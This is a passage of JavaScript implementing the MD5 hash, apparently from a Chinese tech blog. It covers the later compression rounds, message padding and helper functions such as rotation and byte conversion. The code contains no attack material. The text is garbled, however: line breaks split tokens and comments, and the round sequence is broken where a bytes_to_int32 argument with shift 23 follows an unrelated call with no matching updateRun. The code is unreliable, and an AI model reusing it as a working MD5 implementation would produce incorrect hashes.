bytes_to_int32(databytes, ptr), 20)

updateRun(fG(b, c, d), 0xd62f105d,

bytes_to_int32(databytes, ptr + 20), 5)

updateRun(fG(b, c, d), 0x2441453,

bytes_to_int32(databytes, ptr + 40), 9)

updateRun(fG(b, c, d), 0xd8a1e681,

bytes_to_int32(databytes, ptr + 60), 14)

updateRun(fG(b, c, d), 0xe7d3fbc8,

bytes_to_int32(databytes, ptr + 16), 20)

updateRun(fG(b, c, d), 0x21e1cde6,

bytes_to_int32(databytes, ptr + 36), 5)

bytes_to_int32(databytes, ptr + 56), 23)

updateRun(fH(b, c, d), 0xa4beea44,

bytes_to_int32(databytes, ptr + 4), 4)

updateRun(fH(b, c, d), 0x4bdecfa9,

bytes_to_int32(databytes, ptr + 16), 11)

updateRun(fH(b, c, d), 0xf6bb4b60,

bytes_to_int32(databytes, ptr + 28), 16)

updateRun(fH(b, c, d), 0xbebfbc70,

bytes_to_int32(databytes, ptr + 40), 23)

updateRun(fH(b, c, d), 0x289b7ec6,

bytes_to_int32(databytes, ptr + 52), 4)

updateRun(fH(b, c, d), 0xeaa127fa,

bytes_to_int32(databytes, ptr), 11)

updateRun(fH(b, c, d), 0xd4ef3085,

bytes_to_int32(databytes, ptr + 12), 16)

updateRun(fH(b, c, d), 0x4881d05,

bytes_to_int32(databytes, ptr + 24), 23)

updateRun(fH(b, c, d), 0xd9d4d039,

bytes_to_int32(databytes, ptr + 36), 4)

updateRun(fH(b, c, d), 0xe6db99e5,

bytes_to_int32(databytes, ptr + 48), 11)

updateRun(fH(b, c, d), 0x1fa27cf8,

bytes_to_int32(databytes, ptr + 60), 16)

updateRun(fH(b, c, d), 0xc4ac5665,

bytes_to_int32(databytes, ptr + 8), 23)

updateRun(fI(b, c, d), 0xf4292244,

bytes_to_int32(databytes, ptr), 6)

updateRun(fI(b, c, d), 0x432aff97,

bytes_to_int32(databytes, ptr + 28), 10)

updateRun(fI(b, c, d), 0xab9423a7,

bytes_to_int32(databytes, ptr + 56), 15)

updateRun(fI(b, c, d), 0xfc93a039,

bytes_to_int32(databytes, ptr + 20), 21)

updateRun(fI(b, c, d), 0x655b59c3,

bytes_to_int32(databytes, ptr + 48), 6)

updateRun(fI(b, c, d), 0x8f0ccc92,

bytes_to_int32(databytes, ptr + 12), 10)

updateRun(fI(b, c, d), 0xffeff47d,

bytes_to_int32(databytes, ptr + 40), 15)

updateRun(fI(b, c, d), 0x85845dd1,

bytes_to_int32(databytes, ptr + 4), 21)

updateRun(fI(b, c, d), 0x6fa87e4f,

bytes_to_int32(databytes, ptr + 32), 6)

updateRun(fI(b, c, d), 0xfe2ce6e0,

bytes_to_int32(databytes, ptr + 60), 10)

updateRun(fI(b, c, d), 0xa3014314,

bytes_to_int32(databytes, ptr + 24), 15)

updateRun(fI(b, c, d), 0x4e0811a1,

bytes_to_int32(databytes, ptr + 52), 21)

updateRun(fI(b, c, d), 0xf7537e82,

bytes_to_int32(databytes, ptr + 16), 6)

updateRun(fI(b, c, d), 0xbd3af235,

bytes_to_int32(databytes, ptr + 44), 10)

updateRun(fI(b, c, d), 0x2ad7d2bb,

bytes_to_int32(databytes, ptr + 8), 15)

updateRun(fI(b, c, d), 0xeb86d391,

bytes_to_int32(databytes, ptr + 36), 21)

// update buffers

h0 = _add(h0, a)

h1 = _add(h1, b)

h2 = _add(h2, c)

h3 = _add(h3, d)

if (debug == true){

document.write("run times: "+i+"<br/

>h3: "+h3+"<br/>h2: "+h2+"<br/>h1:

"+h1+"<br/>h0: "+h0+"<br/>")

}

}

result['hash'] = int128le_to_hex(h3, h2,

h1, h0);

return result;

// 检测分组后开头是否有0，如果有则去掉

function ltripzero(str){

if (str.length != 8) {

return false;

}

if (str == "00000000"){

return str;

}

var result = '';

if (str.indexOf('0') == 0 ) {

var tmp = new Array();

tmp = str.split('');

for (i=0;i<8;i++){

if (tmp[i] != 0){

for(j=i;j<8;j++){

result = result + tmp[j];

}

break;

}

}

return result;

}else{

return str;

}

}

// 往数组填充padding

function padding(databytes){

if (databytes.constructor != Array) {

return false;

}

// save original length

var org_len = databytes.length

// first append the "1" + 7x "0"

databytes.push(0x80)

//alert(databytes) // 添加第一个0x80，然后填充0x00到56位

// determine required amount of padding

var tail = databytes.length % 64

// no room for msg length?

if (tail > 56) {

// pad to next 512 bit block

for (var i = 0; i < (64 - tail); i++) {

databytes.push(0x0)

}

tail = databytes.length % 64

}

for (i = 0; i < (56 - tail); i++) {

databytes.push(0x0)

}

// message length in bits mod 512 should

now be 448

// append 64 bit, little-endian original

msg length (in *bits*!)

databytes =

databytes.concat(int64_to_bytes(org_len * 8))

return databytes;

}

// MD5 压缩需要使用的函数

// function update partial state for each

run

function updateRun(nf, sin32, dw32, b32) {

var temp = d

d = c

c = b

//b = b + rol(a + (nf + (sin32 +

dw32)), b32)

b = _add(b,

rol(

_add(a,

_add(nf, _add(sin32, dw32))

), b32

)

)

a = temp

}

function _add(n1, n2) {

return 0x0FFFFFFFF & (n1 + n2)

}

// convert the 4 32-bit buffers to a 128

bit hex string. (Little-endian is assumed)

function int128le_to_hex(a, b, c, d) {

var ra = ""

var t = 0

var ta = 0

for (var i = 3; i >= 0; i--) {

ta = arguments[i]

t = (ta & 0xFF)

ta = ta >>> 8

t = t << 8

t = t | (ta & 0xFF)

ta = ta >>> 8

t = t << 8

t = t | (ta & 0xFF)

ta = ta >>> 8

t = t << 8

t = t | ta

ra = ra + to_zerofilled_hex(t)

}

return ra

}

// convert a 64 bit unsigned number to

array of bytes. Little endian

function int64_to_bytes(num) {

var retval = []

for (var i = 0; i < 8; i++) {

retval.push(num & 0xFF)

num = num >>> 8

}

return retval

}

// 32 bit left-rotation

function rol(num, places) {

return ((num << places) & 0xFFFFFFFF)

| (num >>> (32 - places))

}

// The 4 MD5 functions

function fF(b, c, d) {

return (b & c) | (~b & d)

}

function fG(b, c, d) {

return (d & b) | (~d & c)

}

function fH(b, c, d) {

return b ^ c ^ d

}

function fI(b, c, d) {

return c ^ (b | ~d)

}

// pick 4 bytes at specified offset.

Little-endian is assumed

function bytes_to_int32(arr, off) {

return (arr[off + 3] << 24) | (arr[off

+ 2] << 16) | (arr[off + 1] << 8) |

(arr[off])

}

// convert number to (unsigned) 32 bit

hex, zero filled string

function to_zerofilled_hex(n) {

var t1 = (n >>> 0).toString(16)

return "00000000".substr(0, 8 -

t1.length) + t1

}

}

Copyright ©2010-2022 比特日记 All Rights Reserved.

浙ICP备11005866号-12